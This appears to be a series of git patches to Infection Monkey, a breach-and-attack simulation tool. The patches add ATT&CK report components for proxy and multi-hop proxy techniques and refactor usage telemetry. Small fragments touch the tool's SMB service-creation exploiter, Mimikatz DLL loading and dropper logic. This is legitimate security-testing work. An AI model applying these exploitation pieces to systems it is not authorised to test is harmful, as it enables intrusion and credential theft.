monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107 +from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -24,7 +24,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1035': T1035.T1035, 'T1129': T1129.T1129, 'T1106': T1106.T1106, - 'T1107': T1107.T1107} + 'T1107': T1107.T1107, + 'T1188': T1188.T1188} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 363541fdd..891db84e8 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -186,6 +186,22 @@ SCHEMA = { "necessary": True, "description": "Adversaries may conduct C2 communications over a non-standard " "port to bypass proxies and firewalls that have been improperly configured." + }, + "T1090": { + "title": "T1090 Connection proxy", + "type": "bool", + "value": True, + "necessary": True, + "description": "A connection proxy is used to direct network traffic between systems " + "or act as an intermediary for network communications." + }, + "T1188": { + "title": "T1188 Multi-hop proxy", + "type": "bool", + "value": True, + "necessary": True, + "description": "To disguise the source of malicious traffic, " + "adversaries may chain together multiple proxies." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py new file mode 100644 index 000000000..fc9969d9b --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -0,0 +1,34 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1090(AttackTechnique): + + tech_id = "T1090" + unscanned_msg = "Monkey didn't use connection proxy." + scanned_msg = "" + used_msg = "Monkey used connection proxy." + + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, + {'$unwind': '$data.info.executed_cmds'}, + {'$sort': {'data.info.executed_cmds.powershell': 1}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info'}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, + {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] + + @staticmethod + def get_report_data(): + cmd_data = list(mongo.db.telemetry.aggregate(T1090.query)) + data = {'title': T1090.technique_title(), 'cmds': cmd_data} + if cmd_data: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data.update(T1090.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py new file mode 100644 index 000000000..9fdc1ba32 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -0,0 +1,39 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.models.monkey import Monkey + +__author__ = "VakarisZ" + + +class T1188(AttackTechnique): + + tech_id = "T1188" + unscanned_msg = "Monkey didn't use multi-hop proxy." + scanned_msg = "" + used_msg = "Monkey used multi-hop proxy." + + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, + {'$unwind': '$data.info.executed_cmds'}, + {'$sort': {'data.info.executed_cmds.powershell': 1}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info'}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, + {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] + + @staticmethod + def get_report_data(): + monkeys = T1188.get_tunneled_monkeys() + for monkey in monkeys: + proxy_chain = 0 + proxy = Monkey.objects(id=monkey.tunnel) + while proxy: + proxy_chain += 1 + proxy = Monkey.objects(id=monkey.tunnel) + + data = {'title': T1188.technique_title()} + return data + + @staticmethod + def get_tunneled_monkeys(): + return Monkey.objects(tunnel__exists=True) From eabfbf7941dfb89fe0a51f20b35672a14056476c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Jul 2019 09:15:32 +0300 Subject: [PATCH 15/43] Multi-hop proxy attack technique finished --- monkey/monkey_island/cc/models/monkey.py | 4 ++ .../attack/technique_reports/T1188.py | 40 +++++++-------- .../src/components/attack/techniques/T1188.js | 49 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 4 files changed, 76 insertions(+), 21 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 0b910c84b..56b78bc3b 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -68,6 +68,10 @@ class Monkey(Document): os = "windows" return os + @staticmethod + def get_tunneled_monkeys(): + return Monkey.objects(tunnel__exists=True) + class MonkeyNotFoundError(Exception): pass diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 9fdc1ba32..30e621065 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -1,5 +1,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique from monkey_island.cc.models.monkey import Monkey +from common.utils.attack_utils import ScanStatus __author__ = "VakarisZ" @@ -11,29 +12,28 @@ class T1188(AttackTechnique): scanned_msg = "" used_msg = "Monkey used multi-hop proxy." - query = [{'$match': {'telem_category': 'exploit', - 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, - {'$unwind': '$data.info.executed_cmds'}, - {'$sort': {'data.info.executed_cmds.powershell': 1}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info'}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, - {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] - @staticmethod def get_report_data(): - monkeys = T1188.get_tunneled_monkeys() + monkeys = Monkey.get_tunneled_monkeys() + hops = [] for monkey in monkeys: - proxy_chain = 0 - proxy = Monkey.objects(id=monkey.tunnel) - while proxy: - proxy_chain += 1 - proxy = Monkey.objects(id=monkey.tunnel) - - data = {'title': T1188.technique_title()} + proxy_count = 0 + proxy = initial = monkey + while proxy.tunnel: + proxy_count += 1 + proxy = proxy.tunnel + if proxy_count > 1: + hops.append({'from': T1188.get_network_info(initial), + 'to': T1188.get_network_info(proxy), + 'count': proxy_count}) + if hops: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1188.get_base_data_by_status(status) + data.update({'hops': hops}) return data @staticmethod - def get_tunneled_monkeys(): - return Monkey.objects(tunnel__exists=True) + def get_network_info(monkey): + return {'ips': monkey.ip_addresses, 'hostname': monkey.hostname} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js new file mode 100644 index 000000000..f938c5e3f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js @@ -0,0 +1,49 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, scanStatus } from "./Helpers" + + +class T1188 extends React.Component { + + constructor(props) { + super(props); + } + + static getHopColumns() { + return ([{ + Header: "Communications trough multi-hop proxies", + columns: [ + {Header: 'From', + id: 'from', + accessor: x => renderMachineFromSystemData(x.from), + style: { 'whiteSpace': 'unset' }}, + {Header: 'To', + id: 'to', + accessor: x => renderMachineFromSystemData(x.to), + style: { 'whiteSpace': 'unset' }}, + {Header: 'Hops', + id: 'hops', + accessor: x => x.count, + style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1188; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index dc3f1c654..b5217a56a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -21,6 +21,7 @@ import T1065 from "../attack/techniques/T1065"; import T1035 from "../attack/techniques/T1035"; import T1129 from "../attack/techniques/T1129"; import T1106 from "../attack/techniques/T1106"; +import T1188 from "../attack/techniques/T1188"; const tech_components = { 'T1210': T1210, @@ -37,7 +38,8 @@ const tech_components = { 'T1035': T1035, 'T1129': T1129, 'T1106': T1106, - 'T1107': T1107 + 'T1107': T1107, + 'T1188': T1188 }; const classNames = require('classnames'); From b7f678de04a391a870464952c8548cd788b9ec7c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Jul 2019 10:53:44 +0300 Subject: [PATCH 16/43] Single proxy attack technique finished --- monkey/monkey_island/cc/models/monkey.py | 11 ++++- .../cc/services/attack/attack_report.py | 4 +- .../attack/technique_reports/T1090.py | 23 ++++------- .../attack/technique_reports/T1188.py | 8 +--- .../src/components/attack/techniques/T1090.js | 40 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 6 files changed, 66 insertions(+), 24 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 56b78bc3b..418cec03f 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -71,7 +71,16 @@ class Monkey(Document): @staticmethod def get_tunneled_monkeys(): return Monkey.objects(tunnel__exists=True) - + + @staticmethod + def get_network_info(monkey): + """ + Formats network info from monkey's model + :param monkey: monkey model + :return: dictionary with an array of IP's and a hostname + """ + return {'ips': monkey.ip_addresses, 'hostname': monkey.hostname} + class MonkeyNotFoundError(Exception): pass diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 2321a37c5..719463ba5 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -2,6 +2,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 +from monkey_island.cc.services.attack.technique_reports import T1090 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -25,7 +26,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1129': T1129.T1129, 'T1106': T1106.T1106, 'T1107': T1107.T1107, - 'T1188': T1188.T1188} + 'T1188': T1188.T1188, + 'T1090': T1090.T1090} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index fc9969d9b..0e48d2198 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey __author__ = "VakarisZ" @@ -12,23 +12,16 @@ class T1090(AttackTechnique): scanned_msg = "" used_msg = "Monkey used connection proxy." - query = [{'$match': {'telem_category': 'exploit', - 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, - {'$unwind': '$data.info.executed_cmds'}, - {'$sort': {'data.info.executed_cmds.powershell': 1}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info'}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, - {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] - @staticmethod def get_report_data(): - cmd_data = list(mongo.db.telemetry.aggregate(T1090.query)) - data = {'title': T1090.technique_title(), 'cmds': cmd_data} - if cmd_data: + monkeys = Monkey.get_tunneled_monkeys() + monkeys = [Monkey.get_network_info(monkey) for monkey in monkeys] + if monkeys: status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value - data.update(T1090.get_message_and_status(status)) + data = T1090.get_base_data_by_status(status) + data.update({'proxies': monkeys}) return data + + diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 30e621065..6e35f7c7f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -23,8 +23,8 @@ class T1188(AttackTechnique): proxy_count += 1 proxy = proxy.tunnel if proxy_count > 1: - hops.append({'from': T1188.get_network_info(initial), - 'to': T1188.get_network_info(proxy), + hops.append({'from': Monkey.get_network_info(initial), + 'to': Monkey.get_network_info(proxy), 'count': proxy_count}) if hops: status = ScanStatus.USED.value @@ -33,7 +33,3 @@ class T1188(AttackTechnique): data = T1188.get_base_data_by_status(status) data.update({'hops': hops}) return data - - @staticmethod - def get_network_info(monkey): - return {'ips': monkey.ip_addresses, 'hostname': monkey.hostname} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js new file mode 100644 index 000000000..99660cf65 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, scanStatus } from "./Helpers" + + +class T1090 extends React.Component { + + constructor(props) { + super(props); + } + + static getProxyColumns() { + return ([{ + Header: "Proxies were used to communicate with:", + columns: [ + {Header: 'Machines', + id: 'machine', + accessor: x => renderMachineFromSystemData(x), + style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}]) + }; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1090; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index b5217a56a..0b622248b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -22,6 +22,7 @@ import T1035 from "../attack/techniques/T1035"; import T1129 from "../attack/techniques/T1129"; import T1106 from "../attack/techniques/T1106"; import T1188 from "../attack/techniques/T1188"; +import T1090 from "../attack/techniques/T1090"; const tech_components = { 'T1210': T1210, @@ -39,7 +40,8 @@ const tech_components = { 'T1129': T1129, 'T1106': T1106, 'T1107': T1107, - 'T1188': T1188 + 'T1188': T1188, + 'T1090': T1090 }; const classNames = require('classnames'); From 930ff08149958b9a991294f1762127fa9db4abbc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Jul 2019 10:54:13 +0300 Subject: [PATCH 17/43] Added "," after each IP address while rendering a machine --- .../cc/ui/src/components/attack/techniques/Helpers.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 775d453da..adc0d2583 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -12,12 +12,12 @@ export function renderMachineFromSystemData(data) { let machineStr = data['hostname'] + " ( "; data['ips'].forEach(function(ipInfo){ if(typeof ipInfo === "object"){ - machineStr += ipInfo['addr'] + " "; + machineStr += ipInfo['addr'] + ", "; } else { - machineStr += ipInfo + " "; + machineStr += ipInfo + ", "; } }); - return machineStr + ")" + return machineStr.slice(0, -2) + " )" } /* Formats telemetry data that contains _id.machine and _id.usage fields into columns From 30c7b99e95ab7631f3f0777882bf90221b2f3da8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Jul 2019 15:58:22 +0300 Subject: [PATCH 18/43] PR fixes --- monkey/common/utils/attack_utils.py | 7 +++++ monkey/infection_monkey/exploit/smbexec.py | 8 +++--- .../system_info/mimikatz_collector.py | 11 ++++---- .../telemetry/attack/t1035_telem.py | 2 +- .../telemetry/attack/t1129_telem.py | 2 +- .../telemetry/attack/usage_telem.py | 4 +-- .../attack/technique_reports/T1035.py | 8 +++--- .../attack/technique_reports/T1129.py | 8 +++--- .../attack/technique_reports/__init__.py | 26 +++++++++++++++++-- .../components/attack/techniques/Helpers.js | 4 +-- 10 files changed, 57 insertions(+), 23 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index cb3c8f029..3edb0dc28 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -10,6 +10,13 @@ class ScanStatus(Enum): USED = 2 +class UsageEnum(Enum): + SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", + ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} + MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", + ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} + + # Dict that describes what BITS job was used for BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system." diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 6f1667c64..74354108e 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -11,7 +11,7 @@ from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType from infection_monkey.telemetry.attack.t1035_telem import T1035Telem -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum LOG = getLogger(__name__) @@ -133,11 +133,11 @@ class SmbExploiter(HostExploiter): service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(scmr_rpc, service) - T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send() + status = ScanStatus.USED except: - T1035Telem(ScanStatus.SCANNED, - "SMB exploiter failed to run the monkey by creating a service via MS-SCMR.").send() + status = ScanStatus.SCANNED pass + T1035Telem(status, UsageEnum.SMB.name).send() scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 4f2348531..47fa0d431 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -5,7 +5,7 @@ import socket import zipfile import infection_monkey.config -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.telemetry.attack.t1129_telem import T1129Telem from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path @@ -50,10 +50,11 @@ class MimikatzCollector(object): self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True - T1129Telem(ScanStatus.USED, "Windows module loader was used to load Mimikatz DLL.").send() + status = ScanStatus.USED except Exception: LOG.exception("Error initializing mimikatz collector") - T1129Telem(ScanStatus.SCANNED, "Monkey tried to load Mimikatz DLL, but failed.").send() + status = ScanStatus.SCANNED + T1129Telem(status, UsageEnum.MIMIKATZ.name).send() def get_logon_info(self): """ @@ -70,7 +71,7 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() - + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): @@ -105,7 +106,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error getting logon info") return {} - + def get_mimikatz_text(self): return self.mimikatz_text diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py index b3d7c90de..13d0bcc59 100644 --- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -6,6 +6,6 @@ class T1035Telem(UsageTelem): """ T1035 telemetry. :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum name of UsageEnum """ super(T1035Telem, self).__init__('T1035', status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py index fb7d776c6..a04834959 100644 --- a/monkey/infection_monkey/telemetry/attack/t1129_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py @@ -6,6 +6,6 @@ class T1129Telem(UsageTelem): """ T1129 telemetry. :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum name of UsageEnum """ super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 48ff5431c..d493c64d8 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -5,9 +5,9 @@ class UsageTelem(AttackTelem): def __init__(self, technique, status, usage): """ - T1035 telemetry. + :param technique: Id of technique :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum name of UsageEnum """ super(UsageTelem, self).__init__(technique, status) self.usage = usage diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index a651a8288..4651f3c25 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -1,10 +1,10 @@ from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.services.attack.technique_reports import UsageTechnique __author__ = "VakarisZ" -class T1035(AttackTechnique): +class T1035(UsageTechnique): tech_id = "T1035" unscanned_msg = "Monkey didn't try to interact with Windows services." scanned_msg = "Monkey tried to interact with Windows services, but failed." @@ -13,5 +13,7 @@ class T1035(AttackTechnique): @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - data.update({'services': list(mongo.db.telemetry.aggregate(T1035.get_usage_query()))}) + services = list(mongo.db.telemetry.aggregate(T1035.get_usage_query())) + services = list(map(T1035.parse_usages, services)) + data.update({'services': services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index 7d9fa9dd0..17abd4dd3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -1,10 +1,10 @@ from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.services.attack.technique_reports import UsageTechnique __author__ = "VakarisZ" -class T1129(AttackTechnique): +class T1129(UsageTechnique): tech_id = "T1129" unscanned_msg = "Monkey didn't try to load any DLL's." scanned_msg = "Monkey tried to load DLL's, but failed." @@ -13,5 +13,7 @@ class T1129(AttackTechnique): @staticmethod def get_report_data(): data = T1129.get_tech_base_data() - data.update({'dlls': list(mongo.db.telemetry.aggregate(T1129.get_usage_query()))}) + dlls = list(mongo.db.telemetry.aggregate(T1129.get_usage_query())) + dlls = list(map(T1129.parse_usages, dlls)) + data.update({'dlls': dlls}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index de55cd08c..9b0c23d50 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -1,10 +1,13 @@ import abc +import logging from monkey_island.cc.database import mongo -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum from monkey_island.cc.services.attack.attack_config import AttackConfig from common.utils.code_utils import abstractstatic +logger = logging.getLogger(__name__) + class AttackTechnique(object): """ Abstract class for ATT&CK report components """ @@ -113,6 +116,24 @@ class AttackTechnique(object): data.update({'title': cls.technique_title()}) return data + +class UsageTechnique(AttackTechnique): + __metaclass__ = abc.ABCMeta + + @staticmethod + def parse_usages(usage): + """ + Parses data from database and translates usage enums into strings + :param usage: + :return: + """ + try: + usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + except KeyError: + logger.error("Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses.") + return usage + @classmethod def get_usage_query(cls): """ @@ -131,4 +152,5 @@ class AttackTechnique(object): {'$addFields': {'_id': 0, 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}] + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 775d453da..9cb0de635 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -27,12 +27,12 @@ export function getUsageColumns() { columns: [ {Header: 'Machine', id: 'machine', - accessor: x => renderMachineFromSystemData(x._id.machine), + accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }, width: 300}, {Header: 'Usage', id: 'usage', - accessor: x => x._id.usage, + accessor: x => x.usage, style: { 'whiteSpace': 'unset' }}] }])} From d880c19910c3ce497f7f4e8c7fe66def2f377a7f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Jul 2019 10:47:16 +0300 Subject: [PATCH 19/43] PR fixes for t1106 --- monkey/common/utils/attack_utils.py | 3 +++ monkey/infection_monkey/control.py | 1 + monkey/infection_monkey/dropper.py | 5 ++--- monkey/infection_monkey/system_info/mimikatz_collector.py | 3 +-- monkey/infection_monkey/system_singleton.py | 7 ------- monkey/infection_monkey/telemetry/attack/t1106_telem.py | 4 ++-- .../cc/services/attack/technique_reports/T1035.py | 4 +--- .../cc/services/attack/technique_reports/T1106.py | 7 +++---- .../cc/services/attack/technique_reports/T1129.py | 4 +--- .../cc/services/attack/technique_reports/__init__.py | 5 +++++ 10 files changed, 19 insertions(+), 24 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index 3edb0dc28..77d813351 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -15,6 +15,9 @@ class UsageEnum(Enum): ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} + MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."} + DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} # Dict that describes what BITS job was used for diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index f34784041..ba30bf515 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -125,6 +125,7 @@ class ControlClient(object): @staticmethod def send_telemetry(telem_category, data): if not WormConfiguration.current_server: + LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category) return try: telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index e39860d50..230ebc567 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -15,7 +15,7 @@ from infection_monkey.exploit.tools import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -158,7 +158,6 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) - T1106Telem(ScanStatus.USED, "WinAPI was used to mark monkey files" - " for deletion on next boot.").send() + T1106Telem(ScanStatus.USED, UsageEnum.DROPPER.name).send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 61d3a1c56..0e6a913c9 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -47,7 +47,6 @@ class MimikatzCollector(object): collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) - T1106Telem(ScanStatus.USED, "WinAPI was called to load mimikatz.").send() 